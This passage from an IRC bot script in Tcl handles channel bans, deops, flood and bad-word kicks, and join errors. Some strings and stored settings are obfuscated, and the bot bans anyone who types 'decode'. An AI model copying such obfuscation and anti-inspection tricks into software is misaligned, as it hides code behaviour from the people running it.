if {$banidx >= [llength $bancounter]} { 
set banidx 1
}
set banmsg [lindex $bancounter $banidx]
if {[getuser "config" XTRA "KCOUNTER"]=="ON"} {
append banmsg " 04.:12$kicks04:."
}
return $banmsg
}
proc banms {} {
global banidx bancounte kickcounter ban-time 
set banidx [incr banidx]
set counter [open $kickcounter r]; set currentkicks [gets $counter]; catch {close $counter}; set kicks [expr $currentkicks]
if {$banidx >= [llength $bancounte]} { 
set banidx 1
}
set banms [lindex $bancounte $banidx]
if {[getuser "config" XTRA "KCOUNTER"]=="ON"} {
append banms " 04.:12$kicks04:."
}
return $banms
}
proc ban_chk {nick uhost handle channel mchange bhost} {
global botnick botname ps quick notb notc notm bannick ban-time igflood invme ex_flood
set mhost [string range $bhost [string first "@" $bhost] end]
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {[info exists invme($mhost)]} {
catch { unset invme($mhost) }
}
if {[info exists ex_flood($mhost)]} {
catch { unset ex_flood($mhost) }
}
if {![isop $botnick $channel]} { return 0 }
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
if {$banmask == "*!*@*"} {
set banmask "$nick!*@*"
}
if {$bhost == "*!*@*"} {
utimer [rand 4] [list unbanq $channel $bhost]
return 1
}
set cmode [getchanmode $channel]
if {[getuser "config" XTRA "IPG"] != ""} {
foreach ipg [getuser "config" XTRA "IPG"] {
if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
if {![isutimer "IPG $bhost"]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 04IpgUaRd $bhost"
} {
puthelp "mode $channel -b $bhost"
}
utimer 60 [list putlog "IPG $bhost"]
}
return 1
}
}
}
if {[string match [string tolower $bhost] [string tolower $botname]]} {
if {![matchattr $nick f] && $nick != $botnick && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![info exists igflood($nick)]} {
if {[matchattr $cflag D]} {
if {$quick == "1"} {
putqck "KICK $channel $nick :$notm 12SeLF 04BaNNINg12 DeFeNsE REvERsINg [banmsg]"
} {
putsrv "KICK $channel $nick :$notm 12SeLF 04BaNNINg12 DeFeNsE REvERsINg [banmsg]"
}
}
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -kb+b 04SeLF.UnBaN $bhost $banmask"
} {
putserv "mode $channel -kb+b 04SeLF.UnBaN $bhost $banmask"
}
} {
if {$quick == "1"} {
putquick "mode $channel -b+b $bhost $banmask"
} {
putserv "mode $channel -b+b $bhost $banmask"
}
}
} { 
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -kb 04SeLF.UnBaN $bhost"
} else {
putserv "mode $channel -kb SeLF.UnBaN $bhost"
}
} {
if {$quick == "1"} {
putquick "mode $channel -b $bhost"
} else {
putserv "mode $channel -b $bhost"
}
}
}
return 1
}
foreach knick [chanlist $channel] {
if {[string match [string tolower $bhost] [string tolower $knick![getchanhost $knick $channel]]]} {
if {[matchattr $knick f]} {
if {$knick != $ps && $knick != $notb} { utimer [rand 4] [list unbanq $channel $bhost] }
if {[matchattr $nick f] || $nick == $botnick || $nick == "ChanServ" || [string match "*dal.net*" $nick] || [info exists igflood($nick)]} { return 1 }
}
if {$knick == $notb} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notm 12DonT BaNnEd 04$notb12..!"
if {![string match "*k*" $cmode]} {
putserv "mode $channel -kb 04$notb.GuaRd $bhost"
} {
putserv "mode $channel -b $bhost"
}
} {
putserv "mode $channel -b $bhost"
}
return 1
}
if {$knick == $ps} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notm 12DonT BaNnEd 04$ps12..!"
if {![string match "*k*" $cmode]} {
putserv "mode $channel -kb 04$ps.GuaRd $bhost"
} {
putserv "mode $channel -b $bhost"
}
} {
putserv "mode $channel -b $bhost"
}
return 1
}
if {[matchattr $knick n]} {
if {$nick != $botnick} {
set bannick($nick) $banmask
putsrv "KICK $channel $nick :$notm 12DonT BaNnEd ADmIN 04$knick12..!"
}
return 1
}
if {[matchattr $knick m]} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notm 12DonT BaNnEd MasTeR 04$knick12..!"
}
return 1
}
if {[matchattr $cflag E]} {
if {$nick == $botnick} {
set menforce [rand 4]
if {$menforce == 1} {
putsrv "KICK $channel $knick :$notm 12BaNnEd FRoM 04[string toupper $channel] [banms]"
} elseif {$menforce == 2} {
putsrv "KICK $channel $knick :$notm 12MaTcH BaNs FRoM 04[unsix $bhost] [banms]"
} elseif {$menforce == 3} {
putsrv "KICK $channel $knick :$notm 12FILTeR BaNs FRoM 04[unsix $bhost] [banms]"
} else {
putsrv "KICK $channel $knick :$notm 12ReFusEd LInK FRoM 04[string toupper $channel] [banms]"
}
} else {
if {[matchattr $nick n]} {
putsrv "KICK $channel $knick :$notm 04ADmIN12 BaNnEd 04OuT12..!"
} else {
if {[matchattr $nick m]} {
putsrv "KICK $channel $knick :$notm 04MasTeR12 BaNnEd 04OuT12..!"
} else {
if {[isop $knick $channel] && ![matchattr $nick f]} { return 1 }
if {![matchattr $knick f]} {
set menforce [rand 5]
if {$menforce == 1} {
putsrv "KICK $channel $knick :$notm 12BaNnEd BY 04@$nick [banms]"
} elseif {$menforce == 2} {
putsrv "KICK $channel $knick :$notm 12MaTcH BaNs FRoM 04[unsix $bhost] [banms]"
} elseif {$menforce == 3} {
putsrv "KICK $channel $knick :$notm 12BaNnEd FRoM 04[string toupper $channel] [banms]"
} elseif {$menforce == 4} {
putsrv "KICK $channel $knick :$notm 12FILTeR BaNs FRoM 04[unsix $bhost] [banms]"
} else {
putsrv "KICK $channel $knick :$notm 12ReFusEd LInK FRoM 04[string toupper $channel] [banms]"
}
}
}
}
}
}
}
}
return 0
}
bind mode - * prot:deop
proc prot:deop {nick uhost handle channel mchange {opnick ""}} {
global botnick deopme ps invme virus_nick quick notb notc bannick lastkey unop igflood is_m op_it
set cflag "c$channel"
set cflag [string range $cflag 0 8]
set mode [lindex $mchange 0]
if {$opnick == ""} {
set opnick [lindex $mchange 1]
}
if {$mode == "-m"} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x] || [string match "*TRAFFIC $channel*" $x]} {
killutimer [lindex $x 2]
}
}
catch {unset is_m($channel)}
if {![botisop $channel]} { return 0 }
if {[matchattr $cflag V]} {
foreach x [chanlist $channel] {
if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $channel $x]
}
}
}
return 0
}
if {$mode == "+k"} {
set lastkey $opnick
if {[matchattr $cflag K] && [matchattr $nick Z]} {
putlog "key change to $opnick"
setuser $cflag XTRA "CI" [zip $opnick]
saveuser
}
}
if {$mode == "-k"} {
catch { unset lastkey }
if {$nick != $botnick} {
set igflood($nick) "1"
}
return 0
}
if {$mode == "+m"} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x] || [string match "*voiceq $channel*" $x] || [isutimer "advq $channel"]} {
killutimer [lindex $x 2]
}
}
if {$nick == $botnick} {
if {![string match "*m*" [lindex [channel info $channel] 0]]} {
if {[string match "*+shared*" [channel info $channel]]} {
puthelp "NOTICE $channel :04Channel Locked : tHiRtY 2nd MoDeRaTe duE To FloOd..!"
}
utimer 30 [list set_-m $channel]
if {[isutimer "TRAFFIC $channel"]} {
utimer 20 [list pub_nobot "*" "*" "*" $channel "*"]
return 0
}
}
} {
if {[isutimer "goback"]} {
catch { clearqueue all }
foreach x [utimers] {
if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] }
if {[string match "*goback*" $x]} { killutimer [lindex $x 2] ; goback }
}
utimer 2 del_nobase
return 0
}
utimer [expr 1800 + [rand 60]] [list set_-m $channel]
}
return 0
}
if {$mode == "+b"} {
if {$opnick == "*!*@heavy.join.flood.channel.temporary.moderate"} {
utimer 40 [list putlog "TRAFFIC $channel"]
if {$nick == $botnick} {
utimer 40 [list putserv "mode $channel -bm *!*@heavy.join.flood.channel.temporary.moderate"]
if {[info exists is_m($channel)]} { return 0 }
#if {$quick == "1"} {
#putquick "mode $channel +m"
#} {
#putserv "mode $channel +m"
#}
set is_m($channel) 1
return 0
}
}
ban_chk $nick $uhost $handle $channel $mchange $opnick
return 0
}
if {$mode == "-b"} {
if {[info exists is_ban($opnick$channel)]} {
catch {unset is_ban($opnick$channel)}
}
if {[isutimer "unbanq $channel $opnick"]} {
foreach x [utimers] {
if {[string match "*unbanq $channel $opnick*" $x]} {
killutimer [lindex $x 2]
}
}
}
foreach x [ignorelist] {
if {[lindex $x 0] == $opnick} {
unsetignore [lindex $x 0]
return 0
}
} 
catch { killban $opnick }
return 0
}
if {$nick == $opnick} { return 0 }
if {$opnick == $botnick && $mode == "+o"} {
chk_on_op $channel
return 0
}
if {$mode == "+o" && [isop $botnick $channel]} {
if {[info exists op_it($opnick)]} { 
catch {unset op_it($opnick)}
}
if {[matchattr $opnick O]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -ko 04No@p.LIsT $opnick"
} {
puthelp "mode $channel -o $opnick"
}
return 0
}
if {[info exists unop($opnick)]} {
if {$nick == "ChanServ"} {
catch { unset unop($opnick) }
return 0 
}
if {[matchattr $opnick f] || [matchattr $nick f] || $nick == $botnick} {
return 0 
}
utimer [expr 5 + [rand 10]] [list unallowed $channel $nick $opnick]
return 0
}
}
if {$mode == "-o"} {
foreach x [utimers] {
if {[string match "*unallowed $channel $opnick*" $x]} { killutimer [lindex $x 2] }
}
if {$opnick == $botnick} {
if {[isutimer "DEOP $channel"]} { return 0 }
foreach x [utimers] {
if {[string match "*gop $channel*" $x]} { killutimer [lindex $x 2] }
}
utimer 2 [list putlog "DEOP $channel"]
if {![matchattr $nick f] && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![string match "*Guest*" $botnick]} {
if {![info exists igflood($nick)]} {
if {[matchattr $cflag D]} {
set deopme $nick
}
}
}
if {![matchattr $nick m]} {
if {[string tolower $channel] != "Sidimpuan"} {
if {![string match "*+protectfriends*" [channel info $channel]]} {
putlog "!Log! CHaNOP <<$channel>>"
putsrv "ChanServ op $channel $botnick"
}
}
}
return 0
}
if {![isop $botnick $channel]} { return 0 }
if {[isutimer "deopprc*$opnick"]} {
foreach x [utimers] {
if {[string match "*deopprc*$opnick*" $x]} {
putlog "!UnDeOp OR UnKIcK!"
catch { killutimer [lindex $x 2] }
}
}
}
if {$nick == "ChanServ" && [matchattr $opnick o]} {
voiceq $channel $opnick
return 0
}
if {$nick == "ChanServ"} {
set unop($opnick) "1"
return 0 
}
if {[matchattr $nick f] || $nick == $botnick} { return 0 }
if {$nick == "ChanServ"} { return 0 }
if {$opnick == $ps} {
if {![info exists igflood($nick)]} {
putserv "KICK $channel $nick :$notm 12DonT De@p 04$ps12..!"
}
opq $channel $opnick
return 0
}
if {[matchattr $opnick n]} {
if {![info exists igflood($nick)]} {
putsrv "KICK $channel $nick :$notm 12ADmIN 04De@p12 GuaRd04..!"
opq $channel $opnick
}
return 0
}
if {[matchattr $opnick m]} {
if {![info exists igflood($nick)]} {
putsrv "KICK $channel $nick :$notm 12MasTeR 04De@p12 GuaRd12..!"
opq $channel $opnick
}
return 0
}
if {[matchattr $opnick o]} {
opq $channel $opnick
return 0
}
if {$opnick == $notb} {
if {![info exists igflood($nick)]} {
putserv "KICK $channel $nick :$notm 12DonT De@p 04$notb12..!"
}
opq $channel $opnick
return 0
}
}
}
proc unallowed {chan nick opnick} {
if {![botisop $chan]} { return 0 }
if {![isop $nick $chan]} { return 0 }
if {[isop $opnick $chan]} { return 0 }
putserv "mode $chan -ko 04ChanServ.UnaLLowEd $nick"
}
bind nick - * chk_nicks
proc chk_nicks {unick uhost hand chan newnick} {
global notc bannick botnick nick
if {$unick == $nick && $unick != $botnick} {
putsrv "NICK $nick"
}
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
}
if {![isop $botnick $chan]} { return 0 }
if {[isutimer "deopprc*$unick"]} {
foreach x [utimers] {
if {[string match "*deopprc*$unick*" $x]} {
putlog "!UnDeOp!"
catch { killutimer [lindex $x 2] }
}
}
}
if {[string match "Guest*" $newnick]} { 
if {[matchattr $unick f]} { return 0 }
if {[isop $newnick $chan]} { 
utimer [expr 80 + [rand 20]] [list deopprc $chan $newnick] 
return 0
}
}
if {[matchattr $newnick O] && [isop $newnick $chan]} { 
set cmode [getchanmode $chan]
if {![string match "*k*" $cmode]} {
putserv "mode $chan -ko 04No@p.LIsT $newnick"
} {
putserv "mode $chan -o $newnick" 
}
}
akick_chk $newnick $uhost $chan
spam_chk $newnick $uhost $hand $chan
badnick_chk $newnick $uhost $hand $chan
return 0
}
proc msg_identify {nick uhost hand rest} {
global notc 
set id [lindex $rest 0]
set password [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($id == "") || ($password == "")} {
puthlp "NOTICE $nick :$notc Usage: identify <nick> <password>"
return 0
}
putsrv "NickServ identify $id $password"
puthlp "NOTICE $nick :$notc Identify to $id"
return 0
}
proc pub_realnick {unick uhost hand chan rest} {
global notc keep-nick nick
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
set keep-nick 1
putsrv "NICK $nick"
return 0
}
proc rands {length} {
set chars \\^|_[]{}\\
set count [string length $chars]
for {set i 0} {$i < $length} {incr i} {
append result [string index $chars [rand $count]]
}
return $result
}
proc pub_randnick {unick uhost hand chan rest} {
global notc keep-nick nick altnick botnick
if {$rest != ""} {
set keep-nick 0
set nickch "[lindex $rest 0]\[[rand 9][rand 9][randstring 1]\]"
putsrv "NICK $nickch"
} {
if {$botnick != $nick && $botnick != $altnick} { return 0 }
set keep-nick 0
putsrv "NICK [rands 8]"
}
return 0
}
proc pub_altnick {nick uhost hand chan rest} {
global altnick keep-nick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set keep-nick 0
putsrv "NICK $altnick"
}
bind raw - 305 not_away
proc not_away { from keyword arg } {
if {[isutimer "del_nobase"]} { utimer 1 del_nobase }
if {[isutimer "goback"]} { utimer 2 goback }
unsetignore "*!*@*"
}
bind raw - 404 ch_moderate
bind raw - 473 ch_invite
bind raw - 474 ch_banned
bind raw - 475 ch_key
bind raw - 478 ch_full
bind raw - 432 nickERROR
proc nickERROR { from keyword arg } {
global nick
set nick "KzN[unixtime]"
}
proc ch_moderate { from keyword arg } {
putlog "CANT SEND ON MODERATE!"
if {[isutimer "del_nobase"]} {
catch { clearqueue all }
foreach x [utimers] {
if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] ; utimer 1 del_nobase }
}
}
}
proc ch_invite { from keyword arg } {
global double joinme notc 
set chan [lindex $arg 1]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc $chan 04(+I)"
}
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ invite $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc ReMOVE $chan 04(+I)"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return
}
proc ch_banned { from keyword arg } {
global double joinme notc 
set chan [lindex $arg 1]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc $chan 04(+B)"
}
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ invite $chan"
puthlp "ChanServ unban $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc ReMovE $chan 04(+B)"
}
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ invite $chan"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return 0
}
proc ch_key { from keyword arg } {
global double joinme notc lastkey
set chan [lindex $arg 1]
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc $chan 04(+K)"
}
if {[matchattr $cflag K]} {
puthlp "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
} {
puthlp "JOIN $chan"
}
if {[info exists lastkey]} {
puthlp "JOIN $chan :$lastkey"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc ReMovE $chan 04(+K)"
}
channel remove $chan
savechan
return 0
}
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ invite $chan"
}
set joinme ""
set double 0
}
return 0
}
proc ch_full { from keyword arg } {
global double joinme notc botnick
set chan [lindex $arg 1]
if {[isop $botnick $chan]} {
set bans ""
set i 0
foreach x [chanbans $chan] {
if {$i < 5} {
append bans " [lindex $x 0]"
set i [incr i]
}
}
putserv "MODE $chan -kbbbbb 04BaN.LIsT.FuLL $bans"
return 0
}
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc $chan 04(+L)"
}
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ invite $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
puthlp "NOTICE $joinme :$notc ReMOVE $chan 04(+L)"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return 0
}
if {$altnick == ""} { 
set altnick [randstring 7]
}
set badwords ""
proc config {} {
global nick nickpass altpass altnick realname owner kops my-ip banner cycle_random
global notc notm logstore cfgfile badwords ban-time my-hostname kickclr
if {[validuser "config"]} {
if {[getuser "config" XTRA "REALNAME"]!=""} {
set realname [dezip [getuser "config" XTRA "REALNAME"]]
} else {
set realname [lgrnd]
}
if {[getuser "config" XTRA "USERNAME"]!=""} {
set realname [dezip [getuser "config" XTRA "USERNAME"]]
}
if {[getuser "config" XTRA "NICK"]!=""} {
set nick [dezip [getuser "config" XTRA "NICK"]]
}
if {[getuser "config" XTRA "NICKPASS"]!=""} {
set nickpass [dezip [getuser "config" XTRA "NICKPASS"]]
}
if {[getuser "config" XTRA "ALTNICK"]!=""} {
set altnick [dezip [getuser "config" XTRA "ALTNICK"]]
}
if {[getuser "config" XTRA "ALTPASS"]!=""} {
set altpass [dezip [getuser "config" XTRA "ALTPASS"]]
}
if {[getuser "config" XTRA "BAN"]!=""} {
set notc [dezip [getuser "config" XTRA "BAN"]]
set notm [dezip [getuser "config" XTRA "BAN"]]
#lappend cycle_random $banner
}
if {[getuser "config" XTRA "BANTIME"]!=""} {
set ban-time [getuser "config" XTRA "BANTIME"]
}
if {[getuser "config" XTRA "BADWORDS"]!=""} {
set badwords [getuser "config" XTRA "BADWORDS"]
}
if {$badwords == ""} {
set badwords "cibe cibai cipet kontol fuck bitch memek asshole lonte lanciaw lanciau pepek ngentot kentot"
setuser "config" XTRA "BADWORDS" $badwords
}
if {[getuser "config" XTRA "KOPS"]!=""} {
set kops "T"
}
if {[getuser "config" XTRA "KCLR"]!=""} {
set kickclr "T"
}
if {[getuser "config" XTRA "VHOST"]!=""} {
set my-hostname [getuser "config" XTRA "VHOST"]
set my-ip [getuser "config" XTRA "VHOST"]
}
if {[getuser "config" XTRA "LOGCHAN"]!=""} { 
putlog "!Log! CReATING LOG FiLE <<[getuser "config" XTRA "LOGCHAN"]>>"
set logstore "${cfgfile}.log"
logfile jpk [getuser "config" XTRA "LOGCHAN"] $logstore 
}
} else {
adduser "config" ""
chattr "config" "-hp"
}
foreach x [userlist] {
chattr $x -Q
if {$x != "config" && $x != "AKICK"} {
foreach y [getuser $x HOSTS] {
delhost $x $y
}
set hostmask "${x}!*@*"
setuser $x HOSTS $hostmask
}
}
if {![validuser "AKICK"]} {
set hostmask "telnet!*@*"
adduser "AKICK" $hostmask
chattr "AKICK" "-hp"
chattr "AKICK" "K"
}
if {![validuser $owner]} {
set hostmask "$owner!*@*"
adduser $owner $hostmask
chattr $owner "Zfhjmnoptx"
}
saveuser
}
utimer 1 {config}
proc uncolor {s} {
regsub -all --  $s "" s
regsub -all --  $s "" s
regsub -all --  $s "" s
regsub -all -- \[0-9\]\[0-9\],\[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\],\[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\]\[0-9\],\[0-9\] $s "" s
regsub -all -- \[0-9\],\[0-9\] $s "" s
regsub -all -- \[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\] $s "" s
return $s
}
proc msg_botset {unick uhost hand rest} {
global nick nickpass altpass altnick own notc 
if {$unick != $own} {
return 0
}
puthlp "NOTICE $unick :$notc 1st $nick ($nickpass) 2nd $altnick ($altpass)"
return 0
}
proc msg_reuser {nick uhost hand rest} {
global botnick owner notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$nick != $owner} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist] {
if {($x != "config") && ($x != "AKICK")} { deluser $x }
}
adduser $owner "$owner!*@*"
chattr $owner "Zfhjmnoptx"
puthlp "NOTICE $nick :$notc ReSeTIng UsER SucEssFuLLY, SeT Pass FiRsT"
saveuser
}
#proc public_ping {nick uhost hand chan rest} {
#global pingchan
#if {[string match "*-seen*" [channel info $chan]] && ![matchattr $nick m]} { return 0 }
#if {$rest==""} {
#if {![info exists pingchan($nick)]} {
#set pingchan($nick) $chan 
#}
#puthlp "PRIVMSG $nick :\001PING [unixtime]\001"
#return 0
#}
#set person [lindex $rest 0]
#if {![info exists pingchan($person)]} {
#set pingchan($person) $chan 
#}
#puthlp "PRIVMSG $person :\001PING [unixtime]\001"
#return 0
#}
bind pubm - * repeat_pubm
bind ctcp - ACTION action_chk
proc action_chk {nick host hand chan keyword arg} {
global botnick
if {$nick == $botnick || [string match "*SeT FoR*" $arg]} { return 0 }
if {[matchattr $nick Z]} {
set arg "`$arg"
}
if {![validchan $chan]} {
msg_prot $nick $host $hand $arg
} {
repeat_pubm $nick $host $hand $chan $arg
}
}
proc repeat_pubm {nick uhost hand chan text} {
global repeat_last botnick notb notc notm kops ps owner ismaskhost is_m
global botnick capsnick deopme repeat_person quick bannick
regsub -all -- [dezip "jGBDx04~ntxb0"] $text "" text
regsub -all -- [dezip "bFuC0.Jq~aEc0"] $text "" text
regsub -all -- [dezip "xdxsF1~hBM6q0"] $text "" text
pub_Z $nick $uhost $hand $chan $text
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set real $text
set text [uncolor $text]
if {$nick == "ChanServ"} {
if {[string match "*has deopped $botnick*" $text]} {
if {![matchattr [lindex $text 0] f]} { 
if {[matchattr $cflag D]} {
set deopme [lindex $text 0]
}
}
}
return 0
}
if {[matchattr $nick f]} { return 0 }
set mhost [string range $uhost [string first "@" $uhost] end]
if {$nick == $botnick} { return 0 }
set resume "T"
if {[string match "*-greet*" [channel info $chan]]} { 
set resume "F"
}
if {![isop $botnick $chan]} { 
set resume "F"
}
if {![info exists kops]} {
if {[isop $nick $chan]} { 
set resume "F"
}
if {[isvoice $nick $chan]} { 
set resume "F"
}
}
# Tsunami Flood PRoTECTION
if {[string length $text] > 75} {
set chr 0
set cnt 0
while {$cnt < [string length $real]} {
if [isflood [string index $real $cnt]] {
incr chr
}
incr cnt
}
if {$chr > 75} {
if {$resume == "T"} {
set bannick($nick) "*!*$mhost"
if {![isutimer "TsunamI $chan"]} {
utimer 30 [list putlog "TsunamI $chan"]
} elseif {[info exists ismaskhost]} {
set bannick($nick) "*!*@[lindex [split [maskhost $uhost] @] 1]"
}
if {$quick == "1" && ![info exists is_m($chan)]} {
putqck "KICK $chan $nick :$notm 12ABusINg 04TsuNaMI [banms]"
putquick "mode $chan +mR-k Channel.Flood"
} {
putsrv "KICK $chan $nick :$notm 12ABuSING 04TsuNaMI [banms]"
}
}
return 0
}
}
if {![info exists kops]} {
if {$resume == "F"} { return 0 }
}
if {[string match "*!seen [string tolower $nick]*" [string tolower $text]]} {
putsrv "KICK $chan $nick :$notm 12GO LooK In a 04mIRRoR12..!"
return 0
}
if {[string match "*decode*" [string tolower $text]]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 04DecOdE12 DeNIaL [banmsg]"
return 0
}
if {[string match "*#*" $text] && ![string match "*##*" $text] && ![string match "*# *" $text]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $text]]} { return }
}
foreach seekchan $text {
if {[string match "*#*" $seekchan]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 12DonT 04InvITEd12 MaTcH FRoM 04$seekchan [banms]"
return 0
}
}
}
if {[string match "*http://*" [string tolower $text]] || [string match "*www.*.*" [string tolower $text]]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 12DonT 04AdvERTIsE12 IN 04[string toupper $chan] [banms]"
return 0
}
if {[matchattr $cflag R]} {
if {[info exists repeat_last($mhost$chan)]} {
if {[string tolower $repeat_last($mhost$chan)] == [string tolower $text]} {
if {![info exists repeat_person($mhost$chan)]} {
set repeat_person($mhost$chan) 1
} {
incr repeat_person($mhost$chan)
}
if {$repeat_person($mhost$chan) == [getuser $cflag XTRA "RPT"]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 04RePeaT 12FRoM 04$mhost 12MaX04 [getuser $cflag XTRA "RPT"] [banms]"
catch {unset repeat_person($mhost$chan)}
catch {unset repeat_last($mhost$chan)}
return 0
}
}
}
set repeat_last($mhost$chan) $text
}
if {[matchattr $cflag T] && [string length $real] >= [getuser $cflag XTRA "CHAR"]} {
catch {unset repeat_person($mhost$chan)}
catch {unset repeat_last($mhost$chan)}
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($nick) $banmask
if {![isutimer "OL $chan"]} {
utimer 10 [list putlog "OL $chan"] 
putsrv "KICK $chan $nick :$notm 12ABuSINg 04LoNg TexT 12MaX04 [getuser $cflag XTRA "CHAR"]12 CHaR [banmsg]"
} {
putsrv "KICK $chan $nick :$notm 12ABuSINg 04LoNg TexT 12MaX04 [getuser $cflag XTRA "CHAR"]12 CHaR [banmsg]"
}
return 0
}
if {[matchattr $cflag U]} {
set len [string length $text]
if {[isbad $nick $uhost $chan $text]} { return 0 }
if {$len < 30} { return 0 }
set cnt 0
set capcnt 0
while {$cnt < $len} {
if {[string index $text $cnt] == " " || [isupper [string index $text $cnt]]} {
incr capcnt
}
incr cnt
}
if {[expr 100 * $capcnt / $len] >= [getuser $cflag XTRA "CAPS"]} {
if {![info exists capsnick($nick)]} {
putsrv "KICK $chan $nick :$notm 12SToP UsEd 04CapsLocK12 ExceEd04 [getuser $cflag XTRA "CAPS"]%12..!"
set capsnick($nick) "1"
return 0
}
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($nick) $banmask
putsrv "KICK $chan $nick :$notm 042nd12 WaRN DonT UsEd 04CapsLocK12 ExceEd04 [getuser $cflag XTRA "CAPS"]% [banms]"
unset capsnick($nick)
}
}
}
proc isupper {letter} {
set caps {A B C D E F G H I
J K L M N O P Q R
S T U V W X Y Z}
if {[lsearch -exact $caps $letter] > -1} {
return 1
} else {
return 0
}
}
proc isflood {letter} {
set caps {! @ # $ % ^ & * (
) | [ ] < > / \ =    }
if {[lsearch -exact $caps $letter] > -1} {
return 1
} else {
return 0
}
}
proc isbad {nick uhost chan arg} {
global badwords botnick notc bannick notm
set arg [string tolower $arg]
if {[string match "*-greet*" [channel info $chan]]} { 
set isbad 0
return 0
}
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $arg]]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 04BaDWoRD12 MaTcH FRoM 04[string toupper $badword] [banms]"
return 1
}
}
set isbad 0
return 0
}
proc set_-m {chan} {
if {[isutimer "set_-m $chan"]} { return 0 }
if {[botonchan $chan] && [botisop $chan] && [string match "*m*" [getchanmode $chan]]} {
putserv "mode $chan -mR"
}
}
proc topic_chk {nick host handle chan topic} {
global botnick notm bannick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $cflag I]} { return 0 }
if {$nick == $botnick || $nick == "ChanServ"} { return 0 }
if {[matchattr $nick m]} {
setuser $cflag XTRA "TOPIC" [topic $chan]
saveuser
return 0
}
if {![isop $botnick $chan]} { return 0 }
if {[matchattr $nick f] || $nick == $botnick} { return 0 }
if {$topic == [getuser $cflag XTRA "TOPIC"]} { return 0 }
if {![string match "*dal.net*" $nick]} {
set banmask "*!*[string range $host [string first "@" $host] end]"
set bannick($nick) $banmask
putsrv "KICK $chan $nick :$notm 12DonT cHaNgINg 04ToPIc [banms]"
}
puthlp "topic $chan :[getuser $cflag XTRA "TOPIC"]"
return 0
}
bind flud - * flood_chk
proc flood_chk {nick host handle type channel} {
global botnick quick bannick notm flooddeop floodnick floodkick igflood kops
